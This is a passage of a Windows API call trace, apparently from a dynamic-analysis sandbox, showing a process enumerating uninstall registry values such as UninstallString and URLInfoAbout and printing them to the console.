lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.616] GetConsoleOutputCP () returned 0x1b5 [0150.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.616] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.616] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.616] lstrlenW (lpString="SystemComponent") returned 15 [0150.616] __iob_func () returned 0x7fefd702a80 [0150.616] _fileno (_File=0x7fefd702ab0) returned 1 [0150.616] _errno () returned 0x204bb0 [0150.616] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.616] _errno () returned 0x204bb0 [0150.616] GetFileType (hFile=0x50) returned 0x1 [0150.616] lstrlenW (lpString="SystemComponent") returned 15 [0150.616] GetConsoleOutputCP () returned 0x1b5 [0150.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.616] GetConsoleOutputCP () returned 0x1b5 [0150.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0150.616] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.616] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.616] __iob_func () returned 0x7fefd702a80 [0150.616] _fileno (_File=0x7fefd702ab0) returned 1 [0150.616] _errno () returned 0x204bb0 [0150.616] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.616] _errno () returned 0x204bb0 [0150.617] GetFileType (hFile=0x50) returned 0x1 [0150.617] lstrlenW (lpString=" ") returned 4 [0150.617] GetConsoleOutputCP () returned 0x1b5 [0150.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.617] GetConsoleOutputCP () returned 0x1b5 [0150.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.617] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.617] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.617] __iob_func () returned 0x7fefd702a80 [0150.617] _fileno (_File=0x7fefd702ab0) returned 1 [0150.617] _errno () returned 0x204bb0 [0150.617] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.617] _errno () returned 0x204bb0 [0150.617] GetFileType (hFile=0x50) returned 0x1 [0150.617] lstrlenW (lpString="REG_DWORD") returned 9 [0150.617] GetConsoleOutputCP () returned 0x1b5 [0150.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.617] GetConsoleOutputCP () returned 0x1b5 [0150.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.617] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.617] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.618] __iob_func () returned 0x7fefd702a80 [0150.618] _fileno (_File=0x7fefd702ab0) returned 1 [0150.618] _errno () returned 0x204bb0 [0150.618] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.618] _errno () returned 0x204bb0 [0150.618] GetFileType (hFile=0x50) returned 0x1 [0150.618] lstrlenW (lpString=" ") returned 4 [0150.618] GetConsoleOutputCP () returned 0x1b5 [0150.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.618] GetConsoleOutputCP () returned 0x1b5 [0150.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.618] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.618] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.618] __iob_func () returned 0x7fefd702a80 [0150.618] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.618] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.618] _fileno (_File=0x7fefd702ab0) returned 1 [0150.618] _errno () returned 0x204bb0 [0150.618] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.618] _errno () returned 0x204bb0 [0150.618] GetFileType (hFile=0x50) returned 0x1 [0150.618] lstrlenW (lpString="0x1") returned 3 [0150.618] GetConsoleOutputCP () returned 0x1b5 [0150.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.619] GetConsoleOutputCP () returned 0x1b5 [0150.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.619] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.619] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.619] __iob_func () returned 0x7fefd702a80 [0150.619] _fileno (_File=0x7fefd702ab0) returned 1 [0150.619] _errno () returned 0x204bb0 [0150.619] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.619] _errno () returned 0x204bb0 [0150.619] GetFileType (hFile=0x50) returned 0x1 [0150.619] lstrlenW (lpString="\n") returned 1 [0150.619] GetConsoleOutputCP () returned 0x1b5 [0150.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.619] GetConsoleOutputCP () returned 0x1b5 [0150.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.619] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.619] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.619] GetProcessHeap () returned 0x3c0000 [0150.619] GetProcessHeap () returned 0x3c0000 [0150.619] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.619] GetProcessHeap () returned 0x3c0000 [0150.619] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.620] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.620] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.620] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.620] GetProcessHeap () returned 0x3c0000 [0150.620] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.620] GetProcessHeap () returned 0x3c0000 [0150.620] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.620] GetProcessHeap () returned 0x3c0000 [0150.620] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.620] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.620] __iob_func () returned 0x7fefd702a80 [0150.620] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.620] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.620] _fileno (_File=0x7fefd702ab0) returned 1 [0150.620] _errno () returned 0x204bb0 [0150.620] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.620] _errno () returned 0x204bb0 [0150.620] GetFileType (hFile=0x50) returned 0x1 [0150.620] lstrlenW (lpString=" ") returned 4 [0150.620] GetConsoleOutputCP () returned 0x1b5 [0150.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.620] GetConsoleOutputCP () returned 0x1b5 [0150.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.620] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.620] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.621] lstrlenW (lpString="UninstallString") returned 15 [0150.621] __iob_func () returned 0x7fefd702a80 [0150.621] _fileno (_File=0x7fefd702ab0) returned 1 [0150.621] _errno () returned 0x204bb0 [0150.621] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.621] _errno () returned 0x204bb0 [0150.621] GetFileType (hFile=0x50) returned 0x1 [0150.621] lstrlenW (lpString="UninstallString") returned 15 [0150.621] GetConsoleOutputCP () returned 0x1b5 [0150.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.621] GetConsoleOutputCP () returned 0x1b5 [0150.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.621] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.621] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.621] __iob_func () returned 0x7fefd702a80 [0150.621] _fileno (_File=0x7fefd702ab0) returned 1 [0150.621] _errno () returned 0x204bb0 [0150.621] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.621] _errno () returned 0x204bb0 [0150.621] GetFileType (hFile=0x50) returned 0x1 [0150.621] lstrlenW (lpString=" ") returned 4 [0150.621] GetConsoleOutputCP () returned 0x1b5 [0150.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.621] GetConsoleOutputCP () returned 0x1b5 [0150.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.622] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.622] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.622] __iob_func () returned 0x7fefd702a80 [0150.622] _fileno (_File=0x7fefd702ab0) returned 1 [0150.622] _errno () returned 0x204bb0 [0150.622] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.622] _errno () returned 0x204bb0 [0150.622] GetFileType (hFile=0x50) returned 0x1 [0150.622] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.622] GetConsoleOutputCP () returned 0x1b5 [0150.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.622] GetConsoleOutputCP () returned 0x1b5 [0150.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.622] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.622] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.622] __iob_func () returned 0x7fefd702a80 [0150.622] _fileno (_File=0x7fefd702ab0) returned 1 [0150.622] _errno () returned 0x204bb0 [0150.622] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.622] _errno () returned 0x204bb0 [0150.622] GetFileType (hFile=0x50) returned 0x1 [0150.622] lstrlenW (lpString=" ") returned 4 [0150.622] GetConsoleOutputCP () returned 0x1b5 [0150.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.623] GetConsoleOutputCP () returned 0x1b5 [0150.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.623] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.623] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.623] __iob_func () returned 0x7fefd702a80 [0150.623] _fileno (_File=0x7fefd702ab0) returned 1 [0150.623] _errno () returned 0x204bb0 [0150.623] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.623] _errno () returned 0x204bb0 [0150.623] GetFileType (hFile=0x50) returned 0x1 [0150.623] lstrlenW (lpString="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 52 [0150.623] GetConsoleOutputCP () returned 0x1b5 [0150.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.623] GetConsoleOutputCP () returned 0x1b5 [0150.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpUsedDefaultChar=0x0) returned 52 [0150.623] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.623] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.623] __iob_func () returned 0x7fefd702a80 [0150.623] _fileno (_File=0x7fefd702ab0) returned 1 [0150.623] _errno () returned 0x204bb0 [0150.624] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.624] _errno () returned 0x204bb0 [0150.624] GetFileType (hFile=0x50) returned 0x1 [0150.624] lstrlenW (lpString="\n") returned 1 [0150.624] GetConsoleOutputCP () returned 0x1b5 [0150.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.624] GetConsoleOutputCP () returned 0x1b5 [0150.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.624] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.624] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.624] GetProcessHeap () returned 0x3c0000 [0150.624] GetProcessHeap () returned 0x3c0000 [0150.624] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.624] GetProcessHeap () returned 0x3c0000 [0150.624] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.624] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.624] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.624] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.624] GetProcessHeap () returned 0x3c0000 [0150.624] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.624] GetProcessHeap () returned 0x3c0000 [0150.624] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.624] GetProcessHeap () returned 0x3c0000 [0150.624] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.624] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.624] __iob_func () returned 0x7fefd702a80 [0150.624] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.625] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.625] _fileno (_File=0x7fefd702ab0) returned 1 [0150.625] _errno () returned 0x204bb0 [0150.625] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.625] _errno () returned 0x204bb0 [0150.625] GetFileType (hFile=0x50) returned 0x1 [0150.625] lstrlenW (lpString=" ") returned 4 [0150.625] GetConsoleOutputCP () returned 0x1b5 [0150.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.625] GetConsoleOutputCP () returned 0x1b5 [0150.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.625] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.625] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.625] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.625] __iob_func () returned 0x7fefd702a80 [0150.625] _fileno (_File=0x7fefd702ab0) returned 1 [0150.625] _errno () returned 0x204bb0 [0150.625] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.625] _errno () returned 0x204bb0 [0150.626] GetFileType (hFile=0x50) returned 0x1 [0150.626] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.626] GetConsoleOutputCP () returned 0x1b5 [0150.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.626] GetConsoleOutputCP () returned 0x1b5 [0150.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0150.626] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.626] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.626] __iob_func () returned 0x7fefd702a80 [0150.626] _fileno (_File=0x7fefd702ab0) returned 1 [0150.626] _errno () returned 0x204bb0 [0150.626] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.626] _errno () returned 0x204bb0 [0150.626] GetFileType (hFile=0x50) returned 0x1 [0150.626] lstrlenW (lpString=" ") returned 4 [0150.626] GetConsoleOutputCP () returned 0x1b5 [0150.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.626] GetConsoleOutputCP () returned 0x1b5 [0150.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.627] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.627] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.627] __iob_func () returned 0x7fefd702a80 [0150.627] _fileno (_File=0x7fefd702ab0) returned 1 [0150.627] _errno () returned 0x204bb0 [0150.627] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.627] _errno () returned 0x204bb0 [0150.627] GetFileType (hFile=0x50) returned 0x1 [0150.627] lstrlenW (lpString="REG_SZ") returned 6 [0150.627] GetConsoleOutputCP () returned 0x1b5 [0150.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.627] GetConsoleOutputCP () returned 0x1b5 [0150.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.627] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.627] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.627] __iob_func () returned 0x7fefd702a80 [0150.627] _fileno (_File=0x7fefd702ab0) returned 1 [0150.627] _errno () returned 0x204bb0 [0150.627] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.627] _errno () returned 0x204bb0 [0150.627] GetFileType (hFile=0x50) returned 0x1 [0150.627] lstrlenW (lpString=" ") returned 4 [0150.627] GetConsoleOutputCP () returned 0x1b5 [0150.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.628] GetConsoleOutputCP () returned 0x1b5 [0150.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.628] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.628] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.628] __iob_func () returned 0x7fefd702a80 [0150.628] _fileno (_File=0x7fefd702ab0) returned 1 [0150.628] _errno () returned 0x204bb0 [0150.628] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.628] _errno () returned 0x204bb0 [0150.628] GetFileType (hFile=0x50) returned 0x1 [0150.628] lstrlenW (lpString="") returned 0 [0150.628] __iob_func () returned 0x7fefd702a80 [0150.628] _fileno (_File=0x7fefd702ab0) returned 1 [0150.628] _errno () returned 0x204bb0 [0150.628] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.628] _errno () returned 0x204bb0 [0150.628] GetFileType (hFile=0x50) returned 0x1 [0150.628] lstrlenW (lpString="\n") returned 1 [0150.628] GetConsoleOutputCP () returned 0x1b5 [0150.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, 